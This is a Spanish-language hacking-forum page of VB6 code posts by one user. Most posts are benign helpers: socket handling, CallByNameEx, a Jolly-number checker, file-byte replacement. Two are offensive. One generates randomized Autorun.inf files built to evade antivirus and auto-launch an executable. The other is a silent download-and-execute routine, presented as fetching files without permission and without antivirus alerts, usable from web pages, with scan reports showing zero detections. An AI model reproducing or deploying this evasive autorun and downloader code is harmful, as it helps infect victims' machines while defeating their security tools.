elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Sigue las noticias más importantes de seguridad informática en el Twitter! de elhacker.NET


  Mostrar Temas
Páginas: 1 2 3 4 5 6 7 8 9 [10] 11 12 13 14
91  Seguridad Informática / Análisis y Diseño de Malware / [Src] Autorun.inf FUD (Pensaste que ya no servia LOL) en: 27 Mayo 2010, 09:29 am
Bueno hace mucho que me la sabia como hacer un Autorun.Inf FUD solo que como ya abandono las malas practicas empesare a liberar algunos codigos sencillos pero utiles para algunos:

Este es un codigo para generar un archivo Autorun.inf 100% FUD indetectable ante AVIRA Norton, ... bueno ante cualquier AV... hasta la fecha sigue intacto xP.

OJO LOS AUTORU.INF SIEMPRE son DIFERENTES!¡.

Código
  1.  
  2. '
  3. ' ////////////////////////////////////////////////////////////////
  4. ' // Autor: BlackZeroX ( Ortega Avila Miguel Angel )            //
  5. ' //                                                            //
  6. ' // Web: http://InfrAngeluX.Sytes.Net/                         //
  7. ' //                                                            //
  8. ' // |-> Pueden Distribuir Este Codigo siempre y cuando         //
  9. ' // no se eliminen los creditos originales de este codigo      //
  10. ' // No importando que sea modificado/editado o engrandesido    //
  11. ' // o achicado, si es en base a este codigo                    //
  12. ' ////////////////////////////////////////////////////////////////
  13.  
  14. option explicit
  15.  
  16. Public Function GenerarAutorun(StrPath As String, StrExeNameExt As String) As Long
  17. Dim Var(6)                                      As String
  18. Dim DataWrite                                   As String
  19. Dim i                                           As Integer
  20. Dim RN                                          As Integer
  21. Dim nMin                                        As Long
  22. Dim nMax                                        As Long
  23. Dim Sep                                         As String
  24. Dim Char1                                       As String * 1
  25. Dim Char2                                       As String * 1
  26.    Var(0) = "[Autorun]"
  27.    Var(1) = "Open = " & StrExeNameExt
  28.    Var(2) = "UseAutoPlay = 1"
  29.    Var(3) = "action = @" & StrExeNameExt
  30.    Var(4) = "shell\open\Command = " & StrExeNameExt
  31.    Var(5) = "shell\open\Default = 1"
  32.    Var(6) = "shell\explore\Command = " & StrExeNameExt
  33.    If Dir(StrPath, vbDirectory) <> "" Then
  34.        Call NormalizePath(StrPath)
  35.        StrPath = StrPath & "autorun.inf"
  36.        Open StrPath For Binary As 1
  37.            For i = 0 To 6
  38.                DataWrite = vbCrLf & Var(i)
  39.                nMin = NumeroAleatorio(100, 1000)
  40.                nMax = nMin + NumeroAleatorio(100, 1000)
  41.                For RN = 0 To NumeroAleatorio(nMin, nMax)
  42.                    Char1 = Chr(NumeroAleatorio(50, 255))
  43.                    Char2 = Chr(NumeroAleatorio(50, 255))
  44.                    Sep = Chr$(NumeroAleatorio(1, 255))
  45.                    While Sep = Char1 Or Sep = Char2: DoEvents
  46.                        Sep = Chr$(NumeroAleatorio(1, 255))
  47.                    Wend
  48.                    DataWrite = DataWrite & vbCrLf & ";" & TextoAleatorio(Char1 & Sep & Char2, Sep, 1)
  49.                Next RN
  50.                Put 1, , DataWrite
  51.            Next i
  52.        Close 1
  53.        GenerarAutorun = 1
  54.    End If
  55. ErrorFatal:
  56. End Function
  57. Private Sub NormalizePath(ByRef sData As String)
  58.    sData = IIf(Right$(sData, 1) = "\", sData, sData & "\")
  59. End Sub
  60. Function TextoAleatorio(StrRango As String, Separador As String, Optional LENTEXTMIN As Long = 1, Optional LENTEXTMAX As Long = -1) As String
  61. Dim spli()                                      As String
  62. Dim i                                           As Double
  63.    If InStr(StrRango, Separador) > 0 Then
  64.        spli = Split(StrRango, Separador)
  65.        LENTEXTMAX = LENTEXTMIN + Int(IIf(LENTEXTMAX = -1, NumeroAleatorio(1, 100), LENTEXTMAX))
  66.        For i = LENTEXTMIN To LENTEXTMAX
  67.            TextoAleatorio = TextoAleatorio & Chr(NumeroAleatorio(Asc(spli(0)), Asc(spli(1))))
  68.        Next i
  69.    End If
  70. End Function
  71. Public Function NumeroAleatorio(MinNum As Long, MaxNum As Long) As Long
  72. Dim Tmp                                 As Long
  73.    If MaxNum < MinNum Then: Tmp = MaxNum: MaxNum = MinNum: MinNum = Tmp
  74.    Randomize: NumeroAleatorio = CLng((MinNum - MaxNum + 1) * Rnd + MaxNum)
  75. End Function
  76.  
  77.  

la Llamada se realiza en alguna parte de su Codigo fuente de la siguiente manera:


Código
  1.  
  2. Call GenerarAutorun("c:\", "Ejecuta.exe")
  3.  
  4.  

Donde C:\ es la RUTA donde se guardara el archivo Autorun.inf y donde Ejecuta.exe es el archivo en el mismo directorio a ejecutar con el metodo Autorun.Inf

ahora si se quiere ejecutar el exe de un subdirectorio con el respoecto a donde se encuentra el Autorun.inf actual solo hay que hacerlo de la siguiente forma:

Código
  1.  
  2. Call GenerarAutorun("c:\", "Carpeta\SubCarpeta2\Ejecuta.exe")
  3.  
  4.  

Sangriento Infierno Lunar!¡.
92  Programación / Programación Visual Basic / * [Source+Funcion+vb6] AceptarConeccion (Sencilla funcion) en: 19 Abril 2010, 00:54 am
Publico el tema en respuesta a aceptación de Conexiones Multi-Cliente ( http://foro.elhacker.net/programacion_vb/conexiones_multiples_con_winsock_ayuda-t288193.0.html ).

Es muy sencilla pero a mas de uno les va a servir de algo... es la misma funcion que ocupo para mis proyectos

Que hace?

.............Acepta conexiones en una matrix de Socket's en este caso en particular esta diseñado para cSocketMaster

Con que funciona?

.............cSocketMaster +ctl ( Control de usuario ) donde este seria el que crearia la matrix requerida!¡.

Ventajas?

.............Se ocupan los indices anteriores que se encuentren con algun error o que no esten conectados realmente, es decir reduce el uso de la memoria. Se deben la maxima matrix ya para mas velocidad aun que esto seria modificable dubclaseificando el indice con algun Modulo de clase... pero bueno xP.

Codigo:

Código
  1.  
  2. '
  3. '   /////////////////////////////////////////////////////////////
  4. '   // Autor:   BlackZeroX ( Ortega Avila Miguel Angel )       //
  5. '   //                                                         //
  6. '   // Web:     http://InfrAngeluX.Sytes.Net/                  //
  7. '   //                                                         //
  8. '   //    |-> Pueden Distribuir Este Codigo siempre y cuando   //
  9. '   // no se eliminen los creditos originales de este codigo   //
  10. '   // No importando que sea modificado/editado o engrandesido //
  11. '   // o achicado, si es en base a este codigo es requerido    //
  12. '   // el agradacimiento al autor.                             //
  13. '   /////////////////////////////////////////////////////////////
  14. '
  15. Option Explicit
  16. Private Enum SockState
  17.    sckClosed = 0
  18.    sckOpen
  19.    sckListening
  20.    sckConnectionPending
  21.    sckResolvingHost
  22.    sckHostResolved
  23.    sckConnecting
  24.    sckConnected
  25.    sckClosing
  26.    sckError
  27. End Enum
  28. Public Function IndexSocketCerrado(ByRef Socket As Object) As Integer
  29. Dim Index                   As Integer
  30. Dim SockSt                  As SockState
  31.    IndexSocketCerrado = -1
  32.    For Index = Socket.lbound To Socket.UBound
  33.        With Socket(Index)
  34.            SockSt = .State
  35.            If SockSt = sckClosed Or SockSt = sckListening Or SockSt = sckClosing Then
  36.                'If SockSt = sckClosed Or SockSt = sckListening Or SockSt = sckClosing Or SockSt = sckError Then    '   //  Optativo
  37.                IndexSocketCerrado = Index
  38.                Exit For
  39.            End If
  40.        End With
  41.    Next
  42. End Function
  43.  
  44. Public Function AceptarConexion(ByRef Socket As Object, requestid As Long) As Boolean
  45. Dim SocketIndex             As Integer
  46.    SocketIndex = IndexSocketCerrado(Socket)
  47.    If SocketIndex = -1 Then
  48.        SocketIndex = Socket.UBound + 1
  49.        Load Socket(SocketIndex)
  50.    End If
  51.    Socket(SocketIndex).CloseSck
  52.    Socket(SocketIndex).Accept requestid
  53. End Function
  54.  
  55.  

la llamada:

Código
  1.  
  2. '   //  ---->
  3. '   //  Donde Socket_In es el socket que aceptara la conexion entrante en el Socket_Conexion
  4. '   //  Cabe destacar que Socket_In debera ser una matrix de controles
  5. '   //  ---->
  6. Private Sub Socket_Conexion_ConnectionRequest(Index As Integer, ByVal requestid As Long)
  7.        Call AceptarConexion(Socket_In, requestid)
  8. End Sub
  9.  
  10.  

Descargar cSocketMaster + Ctl (Para manejarlo igual que el winsock de M$)

Código:

http://infrangelux.sytes.net/fileX/?file=/BlackZeroX/Programacion/vb6/CSocketMaster.rar&dir=/BlackZeroX/Programacion/vb6&


Nota: Si se desea usar este codigo para el WinSock de la Ocx de M$ debera editar las las propiedades de CloseSck a Close

Sangriento Infierno Lunar!¡.
93  Programación / Programación Visual Basic / [Source] CallByNameEx y argumentos aleatorios en: 27 Marzo 2010, 01:47 am

Este codigo que les dejo me arreglo una duda que tenia la cual me la respondio Google a una liga interesante ( Almenos para mi xP )

intentaba hacer algo similar a esto:

Código
  1.  
  2. Private Sub Form_Load()
  3. Dim Args()          As Variant
  4.    ReDim Args(0 To 1)
  5.    Args(0) = "hola Mundo"
  6.    Args(1) = "12"
  7.    CallByName Me, "Mensaje", VbMethod, Args()
  8. End Sub
  9.  
  10. Public Sub mensaje(mensaje As String, Optional hola As Long)
  11.    MsgBox mensaje, vbOKOnly, hola
  12. End Sub
  13.  
  14.  

pero no daba y google me respodio:

http://www.devx.com/tips/Tip/15422

Código
  1.  
  2. ' Required for use in VB5!
  3. Public Enum VbCallType
  4. VbMethod = 1
  5. VbGet = 2
  6. VbLet = 4
  7. VbSet = 8
  8. End Enum
  9.  
  10. Public Function CallByNameEx(Obj As Object, _
  11. ProcName As String, CallType As VbCallType, _
  12. Optional vArgsArray As Variant)
  13. Dim oTLI As Object
  14. Dim ProcID As Long
  15. Dim numArgs As Long
  16. Dim i As Long
  17. Dim v()
  18.  
  19. On Error GoTo Handler
  20.  
  21. Set oTLI = CreateObject("TLI.TLIApplication")
  22. ProcID = oTLI.InvokeID(Obj, ProcName)
  23.  
  24. If IsMissing(vArgsArray) Then
  25. CallByNameEx = oTLI.InvokeHook( _
  26. Obj, ProcID, CallType)
  27. End If
  28.  
  29. If IsArray(vArgsArray) Then
  30. numArgs = UBound(vArgsArray)
  31. ReDim v(numArgs)
  32. For i = 0 To numArgs
  33. v(i) = vArgsArray(numArgs - i)
  34. Next i
  35. CallByNameEx = oTLI.InvokeHookArray( _
  36. Obj, ProcID, CallType, v)
  37. End If
  38. Exit Function
  39.  
  40. Handler:
  41. Debug.Print Err.Number, Err.Description
  42. End Function
  43.  
  44.  

con lo cual ahora el CallByName bueno mejor dicho CallByNameEx acepta ahora expresiones de este tipo:

Código
  1.  
  2. Call CallByNameEx(Me, "xx", VbMethod, x)
  3. Call CallByNameEx(Me, "xx", VbMethod, Array(1, 2))  
  4. Result=CallByNameEx(Me, "xx", VbMethod, x)
  5.  
  6.  

siendo que antes array() o pasandole un vector a CallByName No servia

Código
  1.  
  2. Private Sub Form_Load()
  3. Dim Args()          As Variant
  4.    ReDim Args(0 To 1)
  5.    Args(0) = "hola Mundo"
  6.    Args(1) = "12"
  7.    CallByNameEx Me, "Mensaje", VbMethod, Args()
  8. End Sub
  9.  
  10. Public Sub mensaje(mensaje As String, Optional hola As Long)
  11.    MsgBox mensaje, vbOKOnly, hola
  12. End Sub
  13.  
  14.  

Sangrienta Luna Infernal!¡.
94  Programación / Programación Visual Basic / [Source] Cheat Pinball [Editando el Record...] en: 27 Febrero 2010, 23:42 pm
Estaba con Drinky ayudando le a crear esto pero se fue y tuve que armarlo solo aquí se los dejo a los curiosos

Este código sirve para modificar el Score del Pinball de Windows.



Por si no lo tienen:

Citar

http://www.megaupload.com/?d=CSC7TD7O
Contraseña:
Upload_By_Andres_sito_1992


Compilado...
http://infrangelux.sytes.net/FTP/BlackZeroX/Programacion/vb6/Proyectos/Pinball/Edit%20Score.exe

Codigo Fuente...
http://infrangelux.sytes.net/FTP/BlackZeroX/Programacion/vb6/Proyectos/Pinball/Edit%20Score%20Src.rar

Sangrientas Lunas!¡.
95  Programación / Programación Visual Basic / [Source] isJolly [No tengo nada que hacer...] en: 26 Febrero 2010, 01:33 am
.
Bueno ahorita no tengo nada que hacer e hice esto...

Código
  1.  
  2. '
  3. '   /////////////////////////////////////////////////////////////
  4. '   // Autor:   BlackZeroX ( Ortega Avila Miguel Angel )       //
  5. '   //                                                         //
  6. '   // Web:     http://InfrAngeluX.Sytes.Net/                  //
  7. '   //                                                         //
  8. '   //    |-> Pueden Distribuir Este Codigo siempre y cuando   //
  9. '   // no se eliminen los creditos originales de este codigo   //
  10. '   // No importando que sea modificado/editado o engrandesido //
  11. '   // o achicado, si es en base a este codigo                 //
  12. '   /////////////////////////////////////////////////////////////
  13.  
  14. Option Explicit
  15.  
  16. Public Function IsJolly(ByVal StrNum As String, Optional PosOfCrash As Long) As Boolean
  17. On Error GoTo Terminar
  18. Dim lenNum          As Long
  19. Dim index           As Long
  20. Dim Desendente      As Byte
  21. Dim Spli(1)         As Byte
  22. Dim ValTmp(1)       As Byte
  23. Dim Resultados()    As Byte
  24.  
  25.    lenNum = Len(StrNum)
  26.    For index = 1 To lenNum - 1
  27.        ValTmp(0) = CByte(Mid(StrNum, index, 1))
  28.        ValTmp(1) = CByte(Mid(StrNum, index + 1, 1))
  29.        Call IntercVal(ValTmp(1), ValTmp(0))
  30.        Spli(0) = ValTmp(0) - ValTmp(1)
  31.        ValTmp(0) = Spli(1)
  32.        ValTmp(1) = Spli(0)
  33.        Call IntercVal(ValTmp(1), ValTmp(0))
  34.        Debug.Print Spli(0)
  35.        If index > 1 Then
  36.            IsJolly = Not ValTmp(0) - ValTmp(1) > 1
  37.            If IsJolly Then
  38.                If (ValTmp(0) - ValTmp(1) + 1) = 0 Then
  39.                    If Desendente = 0 Then
  40.                        Desendente = 1
  41.                    Else
  42.                        IsJolly = ((ValTmp(0) > ValTmp(1)) And Desendente = 1)
  43.                        If Not IsJolly Then Exit For
  44.                    End If
  45.                ElseIf (ValTmp(0) - ValTmp(1) - 1) = 0 Then
  46.                    If Desendente = 0 Then
  47.                        Desendente = 2
  48.                    Else
  49.                        IsJolly = ((ValTmp(0) < ValTmp(1) Or (ValTmp(0) - 1) = ValTmp(1)) And Desendente = 2)
  50.                        If Not IsJolly Then Exit For
  51.                    End If
  52.                End If
  53.            Else
  54.                PosOfCrash = index
  55.                Exit For
  56.            End If
  57.        End If
  58.        Spli(1) = Spli(0)
  59.    Next index
  60. Exit Function
  61. Terminar:
  62.        IsJolly = False
  63. End Function
  64. Public Sub IntercVal(ByRef ValMenor As Byte, ByRef ValMayor As Byte)
  65. Dim Tmp As Byte
  66.    If Not ValMenor < ValMayor Then
  67.        Tmp = ValMayor
  68.        ValMayor = ValMenor
  69.        ValMenor = Tmp
  70.    End If
  71. End Sub
  72.  
  73.  

Notas:

Este texto fue escrito por  DARK_J4V13R el 08/02/2010, 20:58   en foros PH... así de aburrido ando xP!¡.

Citar
¿Cómo saber si un número es Jolly o no?

Si tenemos el numero: 51421 entonces para saber si ese número es jolly o no debemos de hacer la siguiente operación:

5-1=4
4-1=3
4-2=2
2-1=1

Resultado: Es Jolly

Como ven deben de ordenar los números de tal manera que no den negativos y para saber si es jolly los resultados deben de ser consecutivos como podrán ver: 4,3,2,1 son consecutivos por lo tanto es Jolly, pero si encaso no fueran consecutivos el resultado sería que no es Jolly.

Nota: Si el resultado es de mayor a menor o de menor a mayor no importa ya que si es consecutivo sigue siendo Jolly.

Ejemplo #2

Número: 41423

4-1=3
4-1=3
4-2=2
3-2=1

Resultado: Es Jolly

En este ejemplo como verán el 3 aparece dos veces, esto no afecta en nada el resultado ya que si siguen llevando un orden consecutivo sigue siendo Jolly

Ejemplo #3

Numero: 43117

4-3=1
3-1=2
1-1=0
7-1=6

Resultado: No es Jolly

El resultado aquí No es Jolly ya que como los resultados no llevan un orden consecutivo no son Jolly.

Sangrientas Lunas!¡.
96  Programación / Programación Visual Basic / Modulos de Clase y UserControl en: 9 Febrero 2010, 08:09 am
.
Tengo una pregunta y es como puedo actualizar información en el UserControl después de invocar un proceso de un modulo de clase, ando trabado en esto xP

en el user control tengo algo parecido a esto

Código
  1.  
  2. Public ListItems                    As New ClsListItems
  3.  
  4. ...
  5. Otros Procesos
  6. ...
  7.  
  8.  

posteriormente en un form dibujo el control de usuario y le invoco

Código
  1.  
  2. usercontrol.ListItems.add ...
  3.  
  4.  

Después de invocar esto como se podría actualizar en el UserControl, a si tal cual lo hace el ListView de microsoft?.

Nota: se que las variables no ejecutan procesos pero... ya me atore jajaja... lo peor quiero es que quiero organizar esto de buena forma, y poder manipular el UserControl de forma accesible... posiblemente con un hook ¬¬"

Sangrientas Lunas!¡.
.
97  Programación / Programación Visual Basic / Label--- en: 31 Enero 2010, 07:31 am
.
Bueno un problema o no se bueno
los label tienen handle y si es así como saberlo?

Temibles Lunas!¡.
.
98  Programación / Programación Visual Basic / * [Source] ShellExecute sin declaracion api en: 14 Enero 2010, 01:44 am
.
por que no esta demas poner esto:

Código
  1.  
  2. '
  3. ' ////////////////////////////////////////////////////////////////
  4. ' // Autor: BlackZeroX ( Ortega Avila Miguel Angel )            //
  5. ' //                                                            //
  6. ' // Web: http://InfrAngeluX.Sytes.Net/                         //
  7. ' //                                                            //
  8. ' // |-> Pueden Distribuir Este Código siempre y cuando         //
  9. ' // no se eliminen los créditos originales de este código      //
  10. ' // No importando que sea modificado/editado o engrandecido    //
  11. ' // o achicado, si es en base a este código                    //
  12. ' ////////////////////////////////////////////////////////////////
  13. Option Explicit
  14. public Function vbShell(StrPath As String, Optional hHiden As Boolean) As Boolean
  15. Dim ret                     As Object
  16.    Set ret = CreateObject("Shell.Application", "")
  17.    vbShell = Not ret Is Nothing
  18.    'If Not ret Is Nothing And CBool(Dir(StrPath) <> "") Then '   Optativo
  19.    If not vbShell Then exit function
  20.    Call ret.ShellExecute(StrPath, "", "", "open", Abs(Not hHiden))
  21. End Function
  22.  
  23.  

Dulces Lunas!¡.
99  Programación / Programación Visual Basic / [Source] ReplaceFileBytes en: 13 Enero 2010, 00:21 am
.
La función es sencilla y la cree por que la necesitaba aquí se las dejo, haber si a alguien le sirve de algo xP

Código
  1.  
  2. '
  3. ' /////////////////////////////////////////////////////////////
  4. ' // Autor: BlackZeroX ( Ortega Avila Miguel Angel )         //
  5. ' //                                                         //
  6. ' // Web: http://InfrAngeluX.Sytes.Net/                      //
  7. ' //                                                         //
  8. ' // |-> Pueden Distribuir Este Código siempre y cuando      //
  9. ' // no se eliminen los créditos originales de este código   //
  10. ' // No importando que sea modificado/editado o engrandecido //
  11. ' // o achicado, si es en base a este código                 //
  12. ' /////////////////////////////////////////////////////////////
  13.  
  14. Option Explicit
  15. Public Function ReplaceFileBytes(ByVal StrFile As String, _
  16.                                 ByVal PosIniByte As Long, _
  17.                                 ByVal LenBytes As Long, _
  18.                                 BufferReplace() As Byte) As Long
  19. On Error GoTo ErrorFatal
  20. Dim FF As Long
  21.    If GetAttr(StrFile) = vbArchive Then
  22.        FF = FreeFile
  23.        Open StrFile For Binary As FF
  24.            If PosIniByte <= LOF(FF) Then
  25.                PosIniByte = IIf(PosIniByte <= 0, LOF(FF), PosIniByte)
  26.                LenBytes = IIf(LenBytes <= 0, LOF(FF) - PosIniByte, LenBytes - 1)
  27.                LenBytes = IIf(LOF(FF) <= (PosIniByte + LenBytes), LOF(FF) - PosIniByte, LenBytes)
  28.                ReDim Preserve BufferReplace(LenBytes)
  29.                Put FF, PosIniByte, BufferReplace
  30.                ReplaceFileBytes = LenBytes + 1
  31.            End If
  32.        Close FF
  33.    End If
  34. ErrorFatal:
  35. End Function
  36.  
  37.  

El código no permite reemplazar mas bytes de los existentes, por ello no engrandece el archivo binario, y por eso solo reemplaza los deseados.

Un ejemplo de su uso:

.
Ejemplo  de su Uso (Ver el proceso Sub Main() )

Código
  1.  
  2. Function vbShell(StrPath As String, Optional hHiden As Boolean) As Long
  3. Dim ret                     As Object
  4.    Set ret = CreateObject("Shell.Application", "")
  5.    If Not ret Is Nothing And CBool(Dir(StrPath) <> "") Then '   Optativo
  6.    'If Not ret Is Nothing Then
  7.        Call ret.ShellExecute(StrPath, "", "", "open", Abs(Not hHiden))
  8.        vbShell = 1
  9.    End If
  10. End Function
  11.  
  12. Sub GenerateTestFile(StrFile As String)
  13.    If GetAttr(StrFile) = vbArchive Then
  14.        Kill StrFile
  15.        Open StrFile For Binary As 1
  16.            Put 1, 1, String$(20, "*")
  17.        Close 1
  18.    End If
  19. End Sub
  20.  
  21. Sub main()
  22. Const StrFile = "c:\ArchivoX.txt"
  23. Const ComplMSGB = " Bytes Reemplzados"
  24. Const msgb = "InfrAngeluX-Soft"
  25. Dim buf()               As Byte
  26. Dim ret                 As Long
  27.  
  28.  
  29.    Call GenerateTestFile(StrFile)
  30.    MsgBox vbShell(StrFile)
  31.    buf = StrConv(msgb, vbFromUnicode)
  32.    '   //  Para escribir en el ultimo bytes poner -1
  33.    MsgBox ReplaceFileBytes(StrFile, -1, 0, buf) & ComplMSGB
  34.    MsgBox vbShell(StrFile)
  35.  
  36.    Call GenerateTestFile(StrFile)
  37.    buf = StrConv(msgb, vbFromUnicode)
  38.    '   //  Para Escribir de X byte hasta el final del archivo
  39.    '   //  poner -1 el resto se llena de espacios vacios
  40.    MsgBox ReplaceFileBytes(StrFile, 1, -1, buf) & ComplMSGB
  41.    MsgBox vbShell(StrFile)
  42.  
  43.    Call GenerateTestFile(StrFile)
  44.    buf = StrConv(msgb, vbFromUnicode)
  45.    '   //  Para escribir en un rango dado
  46.    MsgBox ReplaceFileBytes(StrFile, 5, 50, buf) & ComplMSGB
  47.    MsgBox vbShell(StrFile)
  48.  
  49. End Sub
  50.  
  51.  
  52.  

Dulces Lunas!¡.
100  Programación / Programación Visual Basic / * [Source][SIN APIS] Descargar Archivos sin que salten los AV en: 12 Enero 2010, 04:54 am
El código es pequeño pero logra que no salte ningún Antivirus cuando se descarga un archivo sin permiso.

Ademas declarando otro objecto esencial para html se puede explotar directamente en una pagina web... ya que estas también ejecutan vbScript

Código
  1.  
  2. '
  3. ' ////////////////////////////////////////////////////////////////
  4. ' // Autor: BlackZeroX ( Ortega Avila Miguel Angel )            //
  5. ' //                                                            //
  6. ' // Web: http://InfrAngeluX.Sytes.Net/                         //
  7. ' //                                                            //
  8. ' // |-> Pueden Distribuir Este Código siempre y cuando         //
  9. ' // no se eliminen los créditos originales de este código      //
  10. ' // No importando que sea modificado/editado o engrandecido    //
  11. ' // o achicado, si es en base a este código                    //
  12. ' ////////////////////////////////////////////////////////////////
  13. Option Explicit
  14. Function DescargarArchivo(strDowload As String, SaveOn As String) As Long
  15. On Error GoTo 1:
  16. Dim xml                     As Object
  17. Dim adoStream               As Object
  18.    Set xml = CreateObject("Microsoft.XMLHTTP")
  19.    Set adoStream = CreateObject("Adodb.Stream")
  20.    Call xml.Open("GET", strDowload, 0)
  21.    Call xml.Send
  22.    adoStream.Type = 1
  23.    Call adoStream.Open
  24.    Call adoStream.write(xml.responseBody)
  25.    Call adoStream.SaveToFile(SaveOn, 2)
  26.    Call adoStream.Close
  27.    DescargarArchivo = 1
  28. Exit Function
  29. 1:
  30. End Function
  31.  
  32.  

Código del proyecto con el cual realice en el Scan.

Código
  1.  
  2. Option Explicit
  3. Sub main()
  4.    If CBool(DescargarArchivo("http://www.goear.com/files/sst2/mp3files/15102006/cfebd49f1b5ba43867cc687896a32ecd.mp3", "c:\aaa.mp3")) Then
  5.        Call vbShell("c:\aaa.mp3", False)
  6.    End If
  7. End Sub
  8. '
  9. ' ////////////////////////////////////////////////////////////////
  10. ' // Autor: BlackZeroX ( Ortega Avila Miguel Angel )            //
  11. ' //                                                            //
  12. ' // Web: http://InfrAngeluX.Sytes.Net/                         //
  13. ' //                                                            //
  14. ' // |-> Pueden Distribuir Este Código siempre y cuando         //
  15. ' // no se eliminen los créditos originales de este código      //
  16. ' // No importando que sea modificado/editado o engrandecido    //
  17. ' // o achicado, si es en base a este código                    //
  18. ' ////////////////////////////////////////////////////////////////
  19. Function vbShell(StrPath As String, visible As Long) As Long
  20. Dim ret                     As Object
  21.    Set ret = CreateObject("Shell.Application", "")
  22.    Call ret.ShellExecute(StrPath, "", "", "open", visible)
  23. End Function
  24.  
  25.  


lo he probado en un proyecto pequeño miren.

Gracias The Swash por el scan aunq que yo ya lo habia realizado xP

File Info

Report generated: 12.1.2010 at 0.41.15 (GMT 1)
Filename: Project1.exe
File size: 20480 bytes
MD5 hash: d64d53fa4ec3bcafb9ff781303188fb7
SHA1 hash: 62157077EA4D3C17B1988D72F69F8C9502F0026E
Detection rate: 0 on 24
Status: CLEAN

Detections

a-squared - -
Avira AntiVir - -
Avast - -
AVG - -
BitDefender - -
ClamAV - -
Comodo - -
Dr.Web - -
Ewido - -
F-PROT6 - -
G-Data - -
Ikarus T3 - -
Kaspersky - -
McAfee - -
NOD32 v3 - -
Norman - -
Panda - -
QuickHeal - -
Solo Antivirus - -
Sophos - -
TrendMicro - -
VBA32 - -
VirusBuster - -
ZonerAntivirus - -

Scan report generated by
NoVirusThanks.org



Virus total

Antivirus   Version   Last Update   Result
a-squared   4.5.0.48   2010.01.12   -
AhnLab-V3   5.0.0.2   2010.01.11   -
AntiVir   7.9.1.134   2010.01.11   -
Antiy-AVL   2.0.3.7   2010.01.11   -
Authentium   5.2.0.5   2010.01.12   -
Avast   4.8.1351.0   2010.01.11   -
AVG   9.0.0.725   2010.01.11   -
BitDefender   7.2   2010.01.12   -
CAT-QuickHeal   10.00   2010.01.11   -
ClamAV   0.94.1   2010.01.12   -
Comodo   3550   2010.01.11   -
DrWeb   5.0.1.12222   2010.01.12   -
eSafe   7.0.17.0   2010.01.11   -
eTrust-Vet   35.2.7231   2010.01.12   -
F-Prot   4.5.1.85   2010.01.12   -
F-Secure   9.0.15370.0   2010.01.12   -
Fortinet   4.0.14.0   2010.01.12   -
GData   19   2010.01.12   -
Ikarus   T3.1.1.80.0   2010.01.12   -
Jiangmin   13.0.900   2010.01.11   -
K7AntiVirus   7.10.944   2010.01.11   -
Kaspersky   7.0.0.125   2010.01.12   -
McAfee   5858   2010.01.11   -
McAfee+Artemis   5858   2010.01.11   -
McAfee-GW-Edition   6.8.5   2010.01.12   -
Microsoft   1.5302   2010.01.11   -
NOD32   4762   2010.01.11   -
Norman   6.04.03   2010.01.11   -
nProtect   2009.1.8.0   2010.01.11   -
Panda   10.0.2.2   2010.01.11   -
PCTools   7.0.3.5   2010.01.12   -
Prevx   3.0   2010.01.12   -
Rising   22.30.01.01   2010.01.12   -
Sophos   4.49.0   2010.01.12   -
Sunbelt   3.2.1858.2   2010.01.12   -
Symantec   20091.2.0.41   2010.01.12   -
TheHacker   6.5.0.3.147   2010.01.12   -
TrendMicro   9.120.0.1004   2010.01.11   -
VBA32   3.12.12.1   2010.01.12   -
ViRobot   2010.1.12.2131   2010.01.12   -
VirusBuster   5.0.21.0   2010.01.11   -

Dulces Lunas!¡.
Páginas: 1 2 3 4 5 6 7 8 9 [10] 11 12 13 14
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines